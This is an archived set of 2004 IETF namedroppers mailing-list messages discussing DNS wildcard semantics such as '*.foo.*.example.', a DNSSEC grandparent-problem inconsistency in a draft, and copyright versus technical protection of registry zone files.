namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: still not sure Date: Thu, 30 Sep 2004 16:44:01 +0700 Lines: 106 Sender: owner-namedroppers@ops.ietf.org References: <a0602040bbd808b0ce5af@[192.136.136.113]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 30 11:53:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a0602040bbd808b0ce5af@[192.136.136.113]> Precedence: bulk Date: Wed, 29 Sep 2004 12:01:50 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a0602040bbd808b0ce5af@[192.136.136.113]> | Does the slave server note this in logs? You can't expect a meaningful answer to that question - servers note in their logs whatever the server author wants them to note. However, there's no more reason to "note" that than any other domain that happens to be being loaded. | Does the slave server dump the zone update upon completion of transfer? | | (Or) Does the slave server press this zone into service as if the | above is legal (wrt RFC 1034, 4.3.3)? The latter. | Does the slave server recognize that *.example. is a Wild Card Domain | Name (even if there is no other *.example. entry)? Yes, if it gets a query for gibberish.example. it needs to reply NODATA and not NXDOMAIN (you all know what those mean). For any practical purpose, that makes no (external) difference that matters, so for practical purposes, whichever decision makes little difference - but the implementation can be much simpler and cleaner if we can ignore these special cases. [Aside: [ Incidentally, that's why in the version of the draft I sent you I had [ "undefined" for what happens here - that is, allow either NXDOMAIN or [ NODATA, as the difference between them doesn't matter much most of the [ time (and clients really need to handle either possibility, as much [ as they care about the difference, which isn't usually very much). [ But for technical correctness, and for the purposes of proofs of [ existence, NODATA is the right answer. The effect is that there is no need to go looking to see if a domain name happens to have sub-domains before deciding whether or not it is a valid wildcard (the algorithms in 4.3.2 say nothing about that, just 'look to see if a the "*" label exists' [sic] Here, *.example. exists (after searching in example. for gibberish.example. and not finding that one, and still looking in example. for the '*'). Nothing anywhere about looking for sub-domains and ignoring the '*' if any are found. Nothing about doing that depending upon whether or not the '*' label has RRs attached to it or not (the test for matching RRs comes later, after the '*' is found). What's more, adding another *.example. RR explicitly (other than that it would provide an RRset to return for one type of query, instead of NODATA) changes nothing at all - the *.example. in "*.example." is exactly the same domain as the *.example. in "*.foo.*.example." There is exactly one '*' sub-domain of "example." regardless of how many times the '*' in the appropriate place happens to appear in the label field of the zone file. | Does the slave server recognize that *.foo.*.example. is one too? Yes, of course, for gibberish.foo.*.example. queries (and only those). Again, doing anything else is needlessly complicated, for close to zero practical effect upon the world. | What I sense from the group is: | | *.foo.*.example. is confusing so operators SHOULD NOT use it. | *.foo.*.example. MUST be allowed (anticipated) in a query. | *.foo.*.example. MUST be allowed to exact match "itself." Agreed (both with the sense of the group, such a "group" as it has been on this question, and with that being the correct interpretation anyway). | What's still knocking me around is whether we need to make it clear that: | | Implementations ought to anticipate such a name, and make the name act | like a Wild Card Domain Name should - all the while we tell operators | to not bother using it. I'm not even sure we need to tell anyone not to bother using it. It isn't as if operators are racing about doing absurd things like this - no-one actually uses '*' as a literal domain name (in zones, or in queries they expect to get answers to), so this isn't really important. What we need to do is make it clear that *.foo.*.example does NOT mean "any name in a foo sub-domain of any sub-domain of example". If we do that, and actually succeed in getting the message across, then there won't be any need to worry about people doing this by accident. If we fail to make it clear, then there's no point in this draft doing anything at all. If we make it clear, but fail to get the message delivered properly, then it really makes no difference what we say, we're going to be ignored anyway. I prefer to assume that we can make it clear, and that the community will take (sufficient) notice (even if it just means that the book authors take note...) that this can all be productive. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: still not sure Date: Thu, 30 Sep 2004 11:17:38 +0100 Lines: 106 Sender: owner-namedroppers@ops.ietf.org References: <a0602040bbd808b0ce5af@[192.136.136.113]> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Thu Sep 30 12:23:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org In-Reply-To: <a0602040bbd808b0ce5af@[192.136.136.113]> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk Ed, Executive Summary: IMHO these are no more bad than any other name which does not consist of [0-9a-zA-Z-] with interior hyphens, so for reasons of consistency we should not introduce a "SHOULD NOT" - the existing discouragement from using wild and whacky characters in labels is sufficient. > At a slave server, accepting zone transfer (updates) the following record > is seen: > > > *.foo.*.example. 3600 IN TXT "just to be a pest" > > > Does the slave server note this in logs? I don't know. If the server gets any of \040 3600 IN TXT "at sign" ~ 3600 IN TXT "tilde" -name- 3600 IN TXT "name starting and ending dash" \001\046\042\046 3600 IN TXT "that's ascii(1) '.' '*' '.'" then for some value of "should", they "should" not be in the zone file, and it might thus be worth logging them. But not for an RFC value of "should", else they'd all have "SHOULD NOT" in the RFC (which they don't). Neither does this. So I guess if I was going to put something in the RFC, I would deprecate their usage to the extent all the above are discouraged (which is weaker discouragement than "SHOULD NOT"). But that's already done in precisely the section that discourages uses outside [0-9a-zA-Z-] with interior hyphens only. So I don't think that needs to be done. > Does the slave server dump the zone update upon completion of transfer? That sounds like application dependent behaviour - I can quite see why people might want a switch that dumps zones if the contents don't match some more restricted than usual regex, but if things are legal (albeit discouraged) under the RFC, the RFC should not recommend a server does the above. > (Or) Does the slave server press this zone into service as if the above > is legal (wrt RFC 1034, 4.3.3)? See above. > Does the slave server recognize that *.example. is a Wild Card Domain > Name (even if there is no other *.example. entry)? I am presuming you mean "no other <AnythingButStar>.example entry"... > Does the slave server recognize that *.foo.*.example. is one too? *.foo.*.example. is indistinguishable in my mind from *.foo.bar.example. *.foo.example. *.*.example. Logic suggests these should also be treated the same as *.example. (with no other <anything>.example. entry). > What I sense from the group is: > > *.foo.*.example. is confusing so operators SHOULD NOT use it. > *.foo.*.example. MUST be allowed (anticipated) in a query. > *.foo.*.example. MUST be allowed to exact match "itself." I can see no reason to make *.foo.*.example. any more recommended against than (say) names with dots in. "*" . "f" "o" "o" "." "e" "x" "a" "m" "p" "l" "e" . If we are going to make pronouncements about confusing things, we should catch everything confusing - I'd suggest that's at a minimum "*", "@", "*" (anything other than as LHS wildcard including in the middle of a label), ".", <=32, >=127, and possibly quotes. But I don't think we should really be going there. What we might need is a clarifying example saying LABELS: *.foo.*.example. - Left hand * is wildcard, RH is literal *.*.example. - Left hand * is wildcard, RH is literal *.example. - * is wildcard a.*.example. - No wildcard QNAMES: All instances of * are literals > What's still knocking me around is whether we need to make it clear that: > > Implementations ought to anticipate such a name, and make the name act > like a Wild Card Domain Name should - all the while we tell operators > to not bother using it. "tell the operators" (IMHO) in exactly the same terms as we tell them not to do other daft but permissible things, like use dots in their names. Which does not amount to "SHOULD NOT". Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: still not sure Date: Thu, 30 Sep 2004 14:14:00 +0200 Lines: 50 Sender: owner-namedroppers@ops.ietf.org References: <a0602040bbd808b0ce5af@[192.136.136.113]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Thu Sep 30 14:24:31 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Wed, 29 Sep 2004 12:01:50 EDT." <a0602040bbd808b0ce5af@[192.136.136.113]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <26710.1096546439.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Hi Ed, > Does the slave server note this in logs? nothing we should worry about. I'd like a server to do so, but that's up to the choice of the implementor. > (Or) Does the slave server press this zone into service as if the > above is legal (wrt RFC 1034, 4.3.3)? Yes, since we haven't found a good reason for ``<anydomain> should not contain other * labels''. > Does the slave server recognize that *.example. is a Wild Card Domain > Name (even if there is no other *.example. entry)? Sure, why should the slave behavior differ from the master's? > What I sense from the group is: > > *.foo.*.example. is confusing so operators SHOULD NOT use it. agreed. > *.foo.*.example. MUST be allowed (anticipated) in a query. > *.foo.*.example. MUST be allowed to exact match "itself." If one follows the algorithm outlined in 4.3.2, no special treatment is needed. However, with regards to kre, a "MUST be allowed (anticipated) in a query" might conflict with ``check-names'' like features, which have nothing to do with wildcards, but lot to do with A or AAAA queries. So, in general, they should be allowed but I'd rather not see this as an argument that '*' must be accepted in a ``hostname''. > What's still knocking me around is whether we need to make it clear that: > > Implementations ought to anticipate such a name, and make the name act > like a Wild Card Domain Name should - all the while we tell operators > to not bother using it. We've found some oddities which might be best listed in an appendix as kind of implementors guide or checklist. The inner '*' is one of them. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Samuel Weiler <weiler@tislabs.com> Subject: bis inconsistency: grandparent problem Date: Thu, 30 Sep 2004 13:47:45 -0400 (EDT) Lines: 17 Sender: owner-namedroppers@ops.ietf.org References: <a0602040bbd808b0ce5af@[192.136.136.113]> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: dnssec-editors@east.isi.edu X-From: owner-namedroppers@ops.ietf.org Thu Sep 30 20:02:25 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: weiler@filbert To: namedroppers@ops.ietf.org In-Reply-To: <a0602040bbd808b0ce5af@[192.136.136.113]> Precedence: bulk -protocol section C.8 suggests using explicit DS queries to get around the grandparent problem. Section 4.2 of the same document suggests using NS queries. These are worded as suggestions, not instructions; there's no 2119 language here. 1) Do we know that NS queries work? (No wierd caching effects, no confusion over authoritative v. glue NSset?) 2) Should the doc be changed to be self-consistent? -- Sam -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: "Scott Rose" <scottr@nist.gov> Subject: RE: bis inconsistency: grandparent problem Date: Thu, 30 Sep 2004 14:16:14 -0400 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <Pine.GSO.4.55.0409301343200.26585@filbert> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Cc: <dnssec-editors@east.isi.edu> X-From: owner-namedroppers@ops.ietf.org Thu Sep 30 20:33:55 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Samuel Weiler" <weiler@tislabs.com>, <namedroppers@ops.ietf.org> X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal In-Reply-To: <Pine.GSO.4.55.0409301343200.26585@filbert> X-NIST-MailScanner: Found to be clean X-MailScanner-From: scottr@nist.gov Precedence: bulk >From my reading, Section C.8 talks about DS queries, but Section 4.2 talks about finding the name servers (NS set) to ask in order to get the DS RRset you are really looking for. If I am looking for the DS RR of foo.example.com., I need to know the NS of example.com. first, then ask for "foo.example.com. IN DS". Scott. > -----Original Message----- > From: owner-dnssec-editors@east.isi.edu > [mailto:owner-dnssec-editors@east.isi.edu]On Behalf Of Samuel Weiler > Sent: Thursday, September 30, 2004 1:48 PM > To: namedroppers@ops.ietf.org > Cc: dnssec-editors@east.isi.edu > Subject: bis inconsistency: grandparent problem > > > -protocol section C.8 suggests using explicit DS queries to get around > the grandparent problem. Section 4.2 of the same document suggests > using NS queries. These are worded as suggestions, not instructions; > there's no 2119 language here. > > 1) Do we know that NS queries work? (No wierd caching > effects, no confusion over authoritative v. glue NSset?) > > 2) Should the doc be changed to be self-consistent? > > -- Sam > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 23:11:46 +0700 Lines: 35 Sender: owner-namedroppers@ops.ietf.org References: <16B3CD5DBBBFFC13C2F51E0B@[192.168.0.16]> <a06020404bd77033feb0a@[193.0.8.231]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 18:23:42 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <16B3CD5DBBBFFC13C2F51E0B@[192.168.0.16]> Precedence: bulk Date: Wed, 22 Sep 2004 16:01:29 +0100 From: Alex Bligh <alex@alex.org.uk> Message-ID: <16B3CD5DBBBFFC13C2F51E0B@[192.168.0.16]> | - i.e. those registries operating | in the "interests of the local community" etc. can, at a legal level | control the use of zonefile contents; i.e. it is worth fighting about the | technical element. This is exactly backwards. If one were to assume that the registry wanted to control distribution (and should be assisted in doing so, which I don't agree with in this case, but ignore that for now), but had no legal protection available (there was no copyright) then relying on keeping things secret might be the only method available - and so seeking technical means to do that would be worthwhile. But the whole point of copyright protection, is so that information can be made easily available to everyone, without the author of the information losing their rights to it. We don't expect newspapers (or books) to get printed on magic ink that doesn't work with photocopiers - the publisher (or writer, or someone) has copyright - that restricts the making of copies, inventing silly and expensive technical means to do the same thing isn't justified (especially since every time that's been attempted - consider DVDs - it turns into a farce). kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/>